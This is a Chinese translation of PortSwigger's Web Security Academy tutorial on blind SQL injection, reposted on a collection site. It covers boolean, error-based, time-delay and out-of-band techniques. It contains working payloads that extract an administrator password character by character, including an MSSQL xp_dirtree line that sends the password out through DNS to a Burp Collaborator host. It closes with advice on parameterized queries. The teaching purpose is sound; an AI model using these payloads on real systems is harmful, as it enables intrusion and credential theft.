原文來自：PORTSWIGGER WEB SECURITY >> Web Security Academy>>SQL injection >>Blind SQL injection

翻譯完畢...

本部分，我們將描述什么是 SQL 盲注漏洞，并解釋發現和利用 SQL 盲注漏洞的多種技術。

什么是 SQL 盲注？

當應用程序容易收到 SQL 注入，但其 HTTP 響應不包含相關的 SQL 查詢結果或任何數據庫錯誤的詳細信息時，就會出現 SQL 盲注。

在 SQL 盲注漏洞下，許多諸如 UNION 注入之類的技術都不會起作用，這是因為這些技術都依賴于應用程序響應返回注入查詢結果集。但是仍然可以利用 SQL 盲注訪問未授權數據，只是必須采用不同的技術。

通過觸發條件響應來利用 SQL 盲注

考慮存在一個使用追蹤 cookies 來收集和分析使用情況的應用程序。對應用程序的請求包括一個 cookies 標頭，如下所示：

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

當處理包含 TrackingId cookie的請求時，應用程序使用 SQL 查詢來確定該用戶是否為已知用戶：

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查詢容易受到 SQL 注入漏洞影響，但查詢結果不會返回給用戶。然而，應用程序的邏輯行為會有所不同，具體取決于查詢是否返回任何數據。如果返回數據(因為已提交識別的 TrackingId)，則頁面內將顯示“歡迎回來”消息。

這種行為足以讓我們根據注入條件有條件的觸發不同的響應，從而利用 SQL 盲注漏洞檢索信息。要查看其工作原理，假設我們發送了兩個請求，這些請求依次包含以下 TrackingId Cookie 值：

xyz' UNION SELECT 'a' WHERE 1=1--

xyz' UNION SELECT 'a' WHERE 1=2--

第一條請求將會返回查詢結果，因為注入條件 or 1=1 為 true，頁面將顯示“歡迎回來”消息。然而第二條請求不會返回任何查詢結果，因為注入條件為 false，頁面不會顯示“歡迎回來”消息。這就使得我們能夠確定任何單個注入條件的答案，從而一次提取以為數據。

例如，假設數據庫存在一個 users 表，該表有 username 和 password 兩個列字段，表存儲了用戶名為 Administrator 的一條數據。通過發送一系列輸入來一次測試一個字符，我們可以系統地確定該用戶的 password。

為了達到上述目的，我們以如下 payload 開始測試：

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'--

頁面返回“歡迎回來”消息，這表明注入條件為 true，password 字段的第一個字符的值要比 'm' 大。

下一步，我們發送第二條測試 payload:

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'--

頁面沒有返回“歡迎回來”消息，這表明注入條件為 false，password 字段的第一個字符的值要小于比 't' 。

最終，我們發送如下測試 payload，頁面返回“歡迎回來”消息，這就可以確定password 字段的第一個字符的值 's'：

xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) = 's'--

通過以上步驟我們可以進一步系統地確認 Administrator 用戶的完整密碼。Note: The SUBSTRING function is called SUBSTR on some types of database. For more details, see the SQL injection cheat sheetLab: Blind SQL injection with conditional responses?portswigger.net

通過觸發 SQL 錯誤來誘導條件響應

在前面的示例中，假設應用程序即使執行不同的 SQL 查詢，但是根據查詢返回的任何數據在行為上判斷都沒有不同點。這樣前面的方法就失效了，因為注入不同的 boolean 條件不會影響應用程序的響應。

在這種情況下，我們通常很可能采用根據注入條件，選擇性觸發 SQL 錯誤，來誘使應用程序返回條件響應。這涉及修改查詢，以便在條件為 true 時將引起數據庫錯誤，而條件為 false 時則不會導致數據庫錯誤。通常，數據庫引發的未處理錯誤會導致應用程序響應有所不同，從而能使我們推斷出注入條件的真實性。

要查看其工作原理，假設我們發送兩個請求，這些請求依次包含以下 TrackingId cookie 值：

xyz' UNION SELECT CASE WHEN (1=2) THEN 1/0 ELSE NULL END--

xyz' UNION SELECT CASE WHEN (1=1) THEN 1/0 ELSE NULL END--

這些輸入使用 CASE 關鍵字來測試條件，并根據表達式是否為 true 來返回不同的表達式。第一條輸入，表達式為 NULL，這不會有任何錯誤。第二條輸入中，表達式為 1/0，這會觸發數據庫的零除錯誤。假設這個錯誤導致應用程序的 HTTP 響應有所不同，我們可以根據差異推斷注入條件是否為 true。

使用這項技術，再結合之前描述的手法，就可以一次驗證一個字符系統地檢索數據：

xyz' union select case when (username = 'Administrator' and SUBSTRING(password, 1, 1) > 'm') then 1/0 else null end from users--Note: There are various ways of triggering conditional errors, and different techniques work best on different types of database. For more details, see theSQL injection cheat sheetLab: Blind SQL injection with conditional errors?portswigger.net

通過觸發時間延時來利用 SQL 盲注

在前面的示例中，假設應用程序現在捕獲數據庫錯誤并妥善處理它們。當執行注入的 SQL 查詢時觸發數據庫錯誤不再導致應用程序響應中的任何差異，因此導致條件錯誤的上述技術將不起作用。

在這種情況下，通常有可能通過根據注入條件有條件地觸發時間延遲來利用盲SQL注入漏洞。由于 SQL 查詢通常由應用程序同步處理，因此延遲執行 SQL 查詢也會延遲 HTTP 響應。這使我們可以根據收到 HTTP 響應之前花費的時間來推斷注入條件的真實性。

觸發時間延遲的技術與所使用的數據庫類型高度相關。在 Microsoft SQL Server 上，可以使用以下類似的輸入來測試條件并根據表達式是否為真觸發延遲：

'; IF (1=2) WAITFOR DELAY '0:0:10'--

'; IF (1=1) WAITFOR DELAY '0:0:10'--

這些輸入中的第一個將不會觸發延時，因為條件 1=2 為 false，第二個輸入將觸發 10 秒的延時，因為條件 1=1 為 true。

使用這項技術，我們可以通過系統地一次測試一個字符來以已描述的方式檢索數據：

'; IF (SELECT COUNT(username) FROM Users WHERE username = 'Administrator' AND SUBSTRING(password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--Note: There are various ways of triggering time delays within SQL queries, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.Lab: Blind SQL injection with time delays?portswigger.netLab: Blind SQL injection with time delays and information retrieval?portswigger.net

使用帶外技術(OAST)利用 SQL 盲注

現在，假設應用程序執行相同的 SQL 查詢，但是采用異步方式處理。應用程序繼續使用原始線程處理用戶請求，并使用另一個線程執行使用 tracking cookie 的 SQL 查詢。該查詢依然容易被 SQL 注入漏洞攻擊，但是到目前為止，所介紹的技術都不起作用：應用程序的響應不取決于查詢是否返回任何數據，數據庫是否發生錯誤或執行查詢所花費的時間。

在這種情況下，通常有可能通過觸發與我們控制的系統的帶外網絡交互來利用 SQL 注入漏洞。如前所述，可以根據注入的條件有條件地觸發這些操作，一次推斷一位信息。但是更強大的是，可以直接在網絡交互本身中滲入數據。

可以使用多種網絡協議來實現此目的，但是最有效的通常是 DNS。這是因為很多生產網絡都允許 DNS 查詢自由發出，因為它們對于生產系統的正常運行至關重要。

使用帶外技術的最簡單、最可靠的方法是使用 Burp Collaborator。這是一臺服務器，提供各種網絡服務(包括 DNS)的自定義實現，并允許您檢測由于將單個有效負載發送給易受攻擊的應用程序而導致何時發生網絡交互。 Burp Suite Professional 內置對 Burp Collaborator 的支持，無需進行配置。

觸發 DNS 查詢的技術與所使用的數據庫類型高度相關。在 Microsoft SQL Server 上，可以使用如下所示的輸入來在指定域上引起 DNS 查找：

'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

這將導致數據庫對以下域執行查找：

0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net

我們可以使用 Burp Suite 的 Collaborator client 生成唯一的子域，并輪詢 Collaborator 服務器以確認何時進行任何 DNS 查找。Lab: Blind SQL injection with out-of-band interaction?portswigger.net

確定了觸發帶外交互的方法后，我們可以使用帶外通道從易受攻擊的應用程序中竊取數據。例如：

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

此輸入讀取 Administrator 用戶的密碼，附加唯一的 Collaborator 子域，并觸發 DNS 查找。這將導致如下所示的 DNS 查找，從而允許我們查看捕獲的密碼：

S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net

帶外(OAST)技術是檢測和利用 SQL 盲注的一種非常強大的方法，因為該方法成功的可能性很高，并且能夠直接在帶外通道中竊取數據。因此，即使在其他盲注利用技術確實起作用的情況下，OAST 技術也通常是首選的。Note: There are various ways of triggering out-of-band interactions, and different techniques apply on different types of database. For more details, see the SQL injection cheat sheet.Lab: Blind SQL injection with out-of-band data exfiltration?portswigger.net

如何防止 SQL 盲注攻擊

盡管查找和利用 SQL 盲注漏洞所需的技術與常規 SQL 注入相比有所不同且更為復雜，但是無論該漏洞是否為盲注，防止 SQL 注入所需的措施都是相同的。

與常規 SQL 注入一樣，可以通過謹慎使用參數化查詢來防止 SQL 盲注攻擊，這可以確保用戶輸入不會干擾目標 SQL 查詢的結構。

總結

以上是生活随笔為你收集整理的sql盲注 解决_SQL 盲注漏洞的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。